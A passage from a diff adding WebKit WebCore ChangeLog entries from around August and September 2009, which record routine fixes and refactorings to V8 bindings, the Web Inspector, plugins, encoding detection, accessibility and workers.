+            Add releaseStorageMutex call.  A small amount of clean up.
+        (WebCore::V8Proxy::callFunction):
+            Add releaseStorageMutex call.  A small amount of clean up.
+        (WebCore::V8Proxy::releaseStorageMutex):
+            Check to see if localStorage has been instantiated.  If so, tell it to
+            unlock all storage areas.
+        * bindings/v8/V8Proxy.h:
+        * page/PageGroup.h:
+        (WebCore::PageGroup::hasLocalStorage):  Make hasLocalStorage public.
+
+2009-09-02  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Barth.
+
+        WINCE PORT: Implement ImageBuffer for WINCE
+        Implement Image interface with a light class BufferedImage
+        for rendering ImageBuffer
+        https://bugs.webkit.org/show_bug.cgi?id=28167
+
+        * platform/graphics/wince/ImageBufferData.h: Added.
+        * platform/graphics/wince/ImageBufferWince.cpp: Added.
+
+2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Join the various PluginView destructors into one shared implementation
+
+        https://bugs.webkit.org/show_bug.cgi?id=27706
+
+        The Qt port used to delete the platform plugin widget as the last step.
+        Now this is done before cleaning up the script objects and unloading the
+        plugin package, similar to how the Win port does it.
+
+        * plugins/PluginView.cpp:
+        * plugins/PluginViewNone.cpp:
+        * plugins/gtk/PluginViewGtk.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        * plugins/win/PluginViewWin.cpp:
+
+2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Share PluginView::init() between ports
+
+        https://bugs.webkit.org/show_bug.cgi?id=27706
+
+        The port-spesific bits are moved to platformStart(), which now returns
+        a bool based on the success of the platformStart.
+
+        m_hasPendingGeometryChange is now initialized in the initializer list
+        instead of in PluginViewQt's init()
+
+        PluginViewMac (currently used only by the Qt port) used to manually call
+        stop() in the case where an unsupported drawing or event model was detected.
+        This was wrong, as the m_status and m_isStarted fields should be used to
+        guard against doing operations on a plugin in this intermediate state.
+
+        * plugins/PluginView.cpp:
+        * plugins/PluginView.h:
+        * plugins/PluginViewNone.cpp:
+        * plugins/gtk/PluginViewGtk.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        * plugins/win/PluginViewWin.cpp:
+
+2009-09-02  Ben Murdoch  <benm@google.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=28737
+        
+        Update JavaScript bindings in JSC and V8 for SQLTransaction to throw exceptions in the right places.
+
+        * bindings/js/JSSQLTransactionCustom.cpp:
+        (WebCore::JSSQLTransaction::executeSql): Throw an exception if no parameters are passed to executeSql().
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8ValueToWebCoreString): Catch an exception if thrown from toString().
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Allow "arrayish objects" to be passed to executeSql.
+
+2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Migrate Databases tab to InjectedScript /
+        serialized interaction.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28873
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.isDB):
+        (WebInspector.Database.prototype.runWithTableNames.sortingCallback):
+        (WebInspector.Database.prototype.runWithTableNames):
+        (WebInspector.Database.prototype.executeSql):
+        (WebInspector.Database.prototype.executeSql.errorCallback):
+        (WebInspector.Database.prototype.executeSql.queryTransaction):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView.prototype._enterKeyPressed):
+        (WebInspector.DatabaseQueryView.prototype._queryFinished):
+        * inspector/front-end/DatabaseTableView.js:
+        (WebInspector.DatabaseTableView):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.selectDatabase):
+        (WebInspector.StoragePanel.prototype.updateDatabaseTables.withTableNames):
+        (WebInspector.StoragePanel.prototype.updateDatabaseTables):
+        (WebInspector.DatabaseSidebarTreeElement.prototype.onpopulate.withTableNames):
+        (WebInspector.DatabaseSidebarTreeElement.prototype.onpopulate):
+
+2009-09-02  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed (trivial followup fix). 
+        
+        Web Inspector: Trivial follow up fix to r47944.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28800
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::nodeForId):
+
+2009-09-01  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Fixed a bug in handling of isReadOnly, where textareas were casted to HTMLInputElements.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isReadOnly):
+
+2009-09-01  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28047
+        add utility method to enable logging messages for inspector development
+
+        manual test case added (see below)
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype.toMessageElement):
+        (WebInspector.ConsoleMessage.prototype.toString):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.log):
+        * manual-tests/inspector/webinspector-log.html: Added.
+        * page/Console.cpp:
+        (WebCore::printMessageSourceAndLevelPrefix):
+        * page/Console.h:
+        (WebCore::):
+
+2009-09-01  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=21990
+        When a rare EUC-JP character is present, explicitly (and correctly) labelled EUC-JP document
+        is mistreated as Shift_JIS
+
+        <rdar://problem/5828506> Safari should not try auto-detecting if charset information exists
+
+        WebKit used to unconditionally auto-detect document encoding if it was one of Japanese ones.
+        This didn't really match any browser, and did cause problems on some sites.
+
+        Our detector is very quick to label an EUC-JP page as Shift_JIS if it notices a byte that
+        cannot be part of EUC-JP source. However, such bytes do appear in Web pages sometimes,
+        especially in comments. Also, some valid EUC-JP sequences are not known to it.
+
+        Some pages that are fixed by this change:
+
+        <rdar://problem/5934750> Encoding in incorrect at http://cocodeparis.blog45.fc2.com/. This
+        page has incorrect encoding in title, so no browser displays it 100% fine. We now match
+        Firefox and IE.
+
+        <rdar://problem/6007713> The web page http://www.sf.us.emb-japan.go.jp/top.htm is garbled
+        in Safari. There is a stray byte in comments that was makes charset detector think it can't
+        be EUC-JP.
+
+        <rdar://problem/6965711> A Japanese web page www.nippontv.studiolegend.tv is garbled in
+        Safari. Many comments on this page are encoded as Shift_JIS - IE magically displays that
+        fine in View Source mode (it doesn't seem to have an ability to switch between EUC-JP and
+        Shift_JIS in normal HTML view though).
+
+        Test: fast/encoding/japanese-encoding-mix.html
+
+        * loader/TextResourceDecoder.cpp: (WebCore::TextResourceDecoder::decode): Only invoke auto-
+        detection if there is no solid charset information yet.
+
+2009-09-01  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] FileList cannot be accessed via index in Chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=28883
+
+        Tested by clipboard-file-access.html.
+
+        * WebCore.gypi:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8FileListCustom.cpp: Added.
+
+2009-08-31  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Remove the workaround added in r47316.
+
+        Reviewed by Sam Weinig.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::AXObjectCache):
+
+        * accessibility/AXObjectCache.h:
+        Remove the Document argument to the AXObjectCache constructor and the
+        m_document member variable, and replace the no-parameter
+        handleFocusedUIElementChanged() with the two-parameter GTK function.
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+
+        * accessibility/gtk/AXObjectCacheAtk.cpp:
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (fallbackObject):
+        Don't pass a null Document when constructing the AXObjectCache.
+
+        * accessibility/mac/AXObjectCacheMac.mm:
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        Get the document from the RenderObject; m_document was removed.
+
+        * dom/Document.cpp:
+        (WebCore::Document::axObjectCache):
+        Don't pass the Document when constructing the AXObjectCache.
+        (WebCore::Document::setFocusedNode):
+        Pass the old and new focused RenderObjects when calling
+        handleFocusedUIElementChanged().
+
+2009-09-01  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Check that InspectorDOMAgent and InspectorFrontend are not null
+        before accessing them in InspectorBackend. They may be null if
+        InspectorController is closed before an asynchronous operation is
+        started.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28800
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getCookies):
+        (WebCore::InspectorBackend::getChildNodes):
+        (WebCore::InspectorBackend::setAttribute):
+        (WebCore::InspectorBackend::removeAttribute):
+        (WebCore::InspectorBackend::setTextNodeValue):
+        (WebCore::InspectorBackend::highlight):
+        (WebCore::InspectorBackend::nodeForId):
+        (WebCore::InspectorBackend::pushNodePathToFrontend):
+        (WebCore::InspectorBackend::addNodesToSearchResult):
+        (WebCore::InspectorBackend::selectDatabase):
+        (WebCore::InspectorBackend::selectDOMStorage):
+        (WebCore::InspectorBackend::inspectorDOMAgent):
+        (WebCore::InspectorBackend::inspectorFrontend):
+        * inspector/InspectorBackend.h:
+
+2009-09-01  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Page Cache should support pages with frames
+        https://bugs.webkit.org/show_bug.cgi?id=13631
+
+        Things learned in the full task that this patch addresses:
+        - The notions of clearing a CachedFrame and destroying a CachedFrame were two concepts that 
+          needed to be managed separately.
+        - Once we start restoring pages with multiple CachedFrames, we'll have to be calling
+          FrameLoader::open(CachedFrame&) multiple times with different CachedFrames, and this process
+          will be guided by the CachedFrames themselves.
+
+        No new tests. (No change in behavior, current layout tests pass)
+        
+        * history/CachedFrame.cpp:
+        (WebCore::CachedFrame::CachedFrame):
+        (WebCore::CachedFrame::~CachedFrame):
+        (WebCore::CachedFrame::clear): Only clear pointers out.
+        (WebCore::CachedFrame::destroy): Perform the destructive cleanup work here - Things that shouldn't
+          occur simply by navigating back to a page with a CachedFrame.
+        * history/CachedFrame.h:
+
+        * history/CachedPage.cpp:
+        (WebCore::CachedPage::~CachedPage):
+        (WebCore::CachedPage::restore): Call clear() after restoring.
+        (WebCore::CachedPage::clear):
+        (WebCore::CachedPage::destroy):
+        * history/CachedPage.h:
+
+        * history/PageCache.cpp:
+        (WebCore::PageCache::releaseAutoreleasedPagesNow): destroy() CachedPages that are being pruned,
+          instead of clearing them.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::commitProvisionalLoad): Let the CachedPage clear() itself after restoring.
+        (WebCore::FrameLoader::open): Don't ::open() the CachedFrame, as the CachedPage does that now.
+        * loader/FrameLoader.h:  Add the friending so CachedPage and CachedFrame can better guide the process.
+          Even though CachedFrame::restore() isn't used for now, it will be soon.
+
+2009-09-01  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by David Levin.
+
+        Add a "lowMemoryNotification" method to the V8 ScriptController class.
+        This is needed in order to allow the host application (Android Web browser in this case)
+        to call the v8::V8::LowMemoryNotification() method added to V8 in
+        http://code.google.com/p/v8/source/detail?spec=svn2777&r=2725
+        
+        https://bugs.webkit.org/show_bug.cgi?id=28776
+
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::lowMemoryNotification):
+        * bindings/v8/ScriptController.h:
+
+2009-09-01  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        V8 Bindings for WebSocket API.
+        https://bugs.webkit.org/show_bug.cgi?id=28844
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8WebSocketCustom.cpp: Added.
+
+2009-09-01  Peter Kasting  <pkasting@google.com>
+
+        Unreviewed (build fix).
+
+        Missed a "." -> "->" conversion.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
+
+2009-09-01  Peter Kasting  <pkasting@google.com>
+
+        Unreviewed (build fix).
+
+        Try to fix Qt build, take 2.  The Qt code had what looks like a
+        broken virtual function override.
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
+        (WebCore::ImageDecoderQt::setData):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-09-01  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Uninitialized variable in XSSAuditor
+        https://bugs.webkit.org/show_bug.cgi?id=28874
+
+        One ought to initialize variables before use even when it doesn't
+        matter.  No behavior change.
+
+        * page/XSSAuditor.h:
+        (WebCore::XSSAuditor::CachingURLCanonicalizer::CachingURLCanonicalizer):
+
+2009-09-01  Peter Kasting  <pkasting@google.com>
+
+        Unreviewed (build fix).
+
+        Try to fix Qt build.
+
+        * platform/graphics/ImageSource.cpp:
+
+2009-08-28  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27965
+        Eliminate most of ImageSourceQt.cpp in favor of ImageSource.cpp.
+
+        * WebCore.pro:
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::frameHasAlphaAtIndex):
+        * platform/graphics/qt/ImageSourceQt.cpp:
+        (WebCore::ImageSource::createFrameAtIndex):
+        (WebCore::ImageSource::frameHasAlphaAtIndex):
+        (WebCore::ImageSource::frameIsCompleteAtIndex):
+
+2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Make InjectedScript self-contained (move necessary
+        methods from utilities.js into InjectedScript).
+
+        https://bugs.webkit.org/show_bug.cgi?id=28871
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.generateStylesheet):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._ensureCommandLineAPIInstalled.inspectObject):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        (InjectedScript.pushNodeToFrontend):
+        (InjectedScript.createProxyObject):
+        (Object.type):
+        (Object.hasProperties):
+        (Object.className):
+        (String.prototype.escapeCharacters):
+        * inspector/front-end/utilities.js:
+
+2009-09-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: console log message repeat count double.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28856
+
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._evaluateOn):
+
+2009-09-01  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        [Gtk] Fix DATALIST build
+        https://bugs.webkit.org/show_bug.cgi?id=28826
+
+        Add ENABLE_DATALIST to FEATURE_DEFINES.
+
+        * GNUmakefile.am:
+
+2009-09-01  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        SVGSVGElement suspend methods argument/return types incorrect
+        https://bugs.webkit.org/show_bug.cgi?id=28860
+
+        Also fix the style of the argument names.
+
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::suspendRedraw):
+        (WebCore::SVGSVGElement::unsuspendRedraw):
+        * svg/SVGSVGElement.h:
+
+2009-09-01  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix bug 28808:  [Skia] Fix flaky layout test svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html [DEBUG]
+        (https://bugs.webkit.org/show_bug.cgi?id=28808)
+
+        The bug fix adds an explicit check for the validity of the path when it is 
+        transformed into local coordinates. 
+        This was the most suitable place I could find that didn't cause an inordinate 
+        amount of refactoring. Also, it seems pertinent and may also catch other cases 
+        that are not limited to clipping paths.
+
+        TEST: existing svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp: make isPathSkiaSafe accessible
+        (WebCore::):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::currentPathInLocalCoordinates): check Skia safety of path
+
+2009-09-01  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Combining Diacritical Marks (U+0300..) are not handled correctly.
+        https://bugs.webkit.org/show_bug.cgi?id=28742 
+
+        Normalize (NFC) a TextRun when the run contains combining diacritical marks
+        so that Skia can pick a correct glyph without relying on GSUB table in a font.
+        This change is for Chromium Linux.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::TextRunWalker::getTextRun): Added.
+        (WebCore::TextRunWalker::getNormalizedTextRun): Added.
+
+        This function is called when the run contains U+0300..U+036F and converts characters in
+        the run to the combined form (NFC) using ICU.
+
+2009-09-01  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Inlined fast paths of V8DOMWrapper::convertNodeToV8Object and
+        V8Proxy::createWrapperFromCache.
+        https://bugs.webkit.org/show_bug.cgi?id=28848
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object): Special
+        function for document wrapping.
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object): Slow case of
+        wrapping a new node.
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertNodeToV8Object): Extracted fast
+        path from V8DOMWrapper.cpp.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::createWrapperFromCacheSlowCase):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::createWrapperFromCache): Extracted fast path
+        from V8Proxy.cpp.
+
+2009-09-01  Eric Seidel  <eric@webkit.org>
+
+        No review, windows build fix only.  Clearly I should have read the patch closer. :(
+
+        Allow excluding certain plugins from loading
+        https://bugs.webkit.org/show_bug.cgi?id=28677
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::refresh):
+
+2009-09-01  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Implement conditional breakpoints in the Web Inspector backend
+        and add frontend JavaScript stubs.
+        https://bugs.webkit.org/show_bug.cgi?id=28846
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::profiles):
+        (WebCore::InspectorBackend::addBreakpoint):
+        (WebCore::InspectorBackend::updateBreakpoint):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::BreakpointInfo::condition):
+        (WebCore::JavaScriptDebugServer::BreakpointInfo::setCondition):
+        (WebCore::JavaScriptDebugServer::addBreakpoint):
+        (WebCore::JavaScriptDebugServer::breakpointInfo):
+        (WebCore::JavaScriptDebugServer::updateBreakpoint):
+        (WebCore::JavaScriptDebugServer::updateBreakpointInfo):
+        (WebCore::JavaScriptDebugServer::removeBreakpoint):
+        (WebCore::JavaScriptDebugServer::hasBreakpoint):
+        (WebCore::JavaScriptDebugServer::clearBreakpoints):
+        * inspector/JavaScriptDebugServer.h:
+        (WebCore::JavaScriptDebugServer::BreakpointInfo::BreakpointInfo):
+        * inspector/front-end/Breakpoint.js:
+        (WebInspector.Breakpoint):
+        (WebInspector.Breakpoint.prototype.get id):
+        (WebInspector.Breakpoint.prototype.get condition):
+        (WebInspector.Breakpoint.prototype.set condition):
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.addScript):
+
+2009-09-01  Marius Renn  <damarvy@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added delegate to PluginDatabase to disable loading certain plugins.
+        This is useful when you want to load from the standard plugin
+        directory, but want to exclude certain plugins. Plugins may be
+        excluded early on by name, so that no plugin code is executed (which
+        may have caused a crash).
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::PluginDatabase):
+        (WebCore::PluginDatabase::refresh):
+        * plugins/PluginDatabase.h:
+        (WebCore::PluginDatabase::setClient):
+        * plugins/PluginDatabaseClient.h: Added.
+        (WebCore::PluginDatabaseClient::~PluginDatabaseClient):
+
+2009-08-31  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Sam Weinig
+
+        * WebCore.base.exp: Removed an unneeded symbol export.
+
+2009-08-31  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28466
+        When downloading a file, two GET requests are sent to the HTTP server
+
+        Can't think of a way to test this.
+
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::releaseResources): only nullify the
+        handle's client when it is the ResourceLoader, to support the case
+        in which a download API uses a different client
+
+2009-08-31  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Text Fields and Text Areas are reported as read-only by inspect32.exe.
+        https://bugs.webkit.org/show_bug.cgi?id=28854
+
+        Added another case in AcccessibiltyRenderObject::isReadOnly to test if text fields
+        and texts areas are read-only.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isReadOnly):
+        (WebCore::AccessibilityRenderObject::canSetValueAttribute):
+
+2009-08-31  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        fast/workers/worker-lifecycle.html crashes intermittently on snowleopard
+        https://bugs.webkit.org/show_bug.cgi?id=28795
+
+        Changed WorkerContext::close() to no longer stop the worker thread.
+        It is now the parent's responsibility to shut down the worker thread when it is notified that the context is closed.
+
+        * workers/AbstractWorker.cpp:
+        Updated dispatchScriptErrorEvent to pass-through the "handled" value from dispatchEvent(), to allow event handlers added with addEventListener() to mark events as handled.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::workerContextClosed):
+        Now shuts down the worker thread when notified that the context is closed.
+        (WebCore::SharedWorkerProxy::close):
+        Now handles being invoked when the context is already in the process of shutting down.
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::close):
+        No longer calls WorkerThread::stop() to avoid race conditions with shutting down the thread while the parent is still interacting with it.
+        * workers/WorkerContext.h:
+        (WebCore::WorkerContext::isClosing):
+        isClosing() is now public so WorkerRunLoop can call it to determine whether to process tasks.
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::WorkerExceptionTask::performTask):
+        Error events should still be delivered even if the worker thread is closing.
+        Also fixed problem where error events were not dispatched if error handlers were added via addEventListener().
+        (WebCore::WorkerTerminateTask::create):
+        New task that invokes terminateWorkerContext() on the parent thread when the context is closed.
+        (WebCore::WorkerTerminateTask::WorkerTerminateTask):
+        (WebCore::WorkerTerminateTask::performTask):
+        (WebCore::WorkerMessagingProxy::workerContextClosed):
+        Now fires off a WorkerTerminateTask to shut down the thread when the context is closed.
+        * workers/WorkerMessagingProxy.h:
+        WorkerMessagingProxy now overrides workerContextClosed().
+        * workers/WorkerRunLoop.cpp:
+        (WebCore::WorkerRunLoop::runInMode):
+        Now drops tasks on the floor if the WorkerContext is closing.
+
+2009-08-31  Ojan Vafai  <ojan@chromium.org>
+
+        Not reviewed (build fix)
+
+        Build fix for Chromium to match r49707.
+
+        * bindings/v8/ScriptCallFrame.cpp:
+        (WebCore::ScriptCallFrame::ScriptCallFrame):
+        * bindings/v8/ScriptSourceCode.h:
+        (WebCore::ScriptSourceCode::ScriptSourceCode):
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::KURL):
+        (WebCore::blankURL):
+
+2009-08-31  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28858
+        Element.baseURI parses xml:base attribute incorrectly
+
+        Test: fast/dom/base-attribute-parsing.xhtml
+
+        * dom/Element.cpp: (WebCore::Element::baseURI): Avoid assertion failure (no change in
+        release mode).
+
+2009-08-31  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reverting http://trac.webkit.org/changeset/47904, because it caused
+        layout test failure.
+
+        Test: fast/dom/Window/new-window-opener.html
+
+2009-08-31  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28852
+        Rename KURL single argument constructor to avoid confusion
+
+        * platform/KURL.h: The constructor that used to be single argument should now be invoked
+        as KURL(ParsedURLString, myString).
+
+        * WebCore.base.exp:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        * bindings/js/ScriptCallFrame.cpp:
+        (WebCore::ScriptCallFrame::ScriptCallFrame):
+        * bindings/v8/NPV8Object.cpp:
+        (_NPN_EvaluateHelper):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::createWindow):
+        * css/CSSCursorImageValue.cpp:
+        (WebCore::isSVGCursorIdentifier):
+        * css/CSSImageValue.cpp:
+        (WebCore::CSSImageValue::cachedImage):
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::insertedIntoParent):
+        * css/StyleBase.cpp:
+        (WebCore::StyleBase::baseURL):
+        * dom/Document.cpp:
+        (WebCore::Document::initSecurityContext):
+        * dom/Element.cpp:
+        (WebCore::Element::baseURI):
+        * editing/markup.cpp:
+        (WebCore::completeURLs):
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::url):
+        (WebCore::HistoryItem::originalURL):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::createCached):
+        * loader/Cache.cpp:
+        (WebCore::Cache::revalidateResource):
+        * loader/DocLoader.cpp:
+        (WebCore::DocLoader::requestResource):
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::getSubresources):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::init):
+        (WebCore::FrameLoader::iconURL):
+        (WebCore::FrameLoader::scheduleLocationChange):
+        (WebCore::FrameLoader::redirectionTimerFired):
+        (WebCore::FrameLoader::loadURLIntoChildFrame):
+        (WebCore::FrameLoader::startRedirectionTimer):
+        * loader/appcache/ApplicationCache.cpp:
+        (WebCore::ApplicationCache::resourceForURL):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::startLoadingEntry):
+        (WebCore::ApplicationCacheGroup::addEntry):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
+        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
+        (WebCore::ApplicationCacheStorage::loadCache):
+        (WebCore::ApplicationCacheStorage::manifestURLs):
+        * loader/archive/cf/LegacyWebArchive.cpp:
+        (WebCore::LegacyWebArchive::createResource):
+        (WebCore::LegacyWebArchive::create):
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        * notifications/NotificationCenter.h:
+        (WebCore::NotificationCenter::createHTMLNotification):
+        * platform/KURL.cpp:
+        (WebCore::KURL::KURL):
+        (WebCore::blankURL):
+        * platform/KURLHash.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::setData):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovie):
+        * platform/network/cf/ResourceErrorCF.cpp:
+        (WebCore::ResourceError::operator CFErrorRef):
+        * platform/network/cf/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/network/chromium/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::handleLocalReceiveResponse):
+        (WebCore::headerCallback):
+        * platform/network/curl/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/network/mac/ResourceErrorMac.mm:
+        (WebCore::ResourceError::operator NSError*):
+        * platform/network/mac/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/network/qt/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/network/soup/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::filesystemPathFromUrlOrTitle):
+        (WebCore::ClipboardWin::setData):
+        * svg/graphics/SVGImage.cpp:
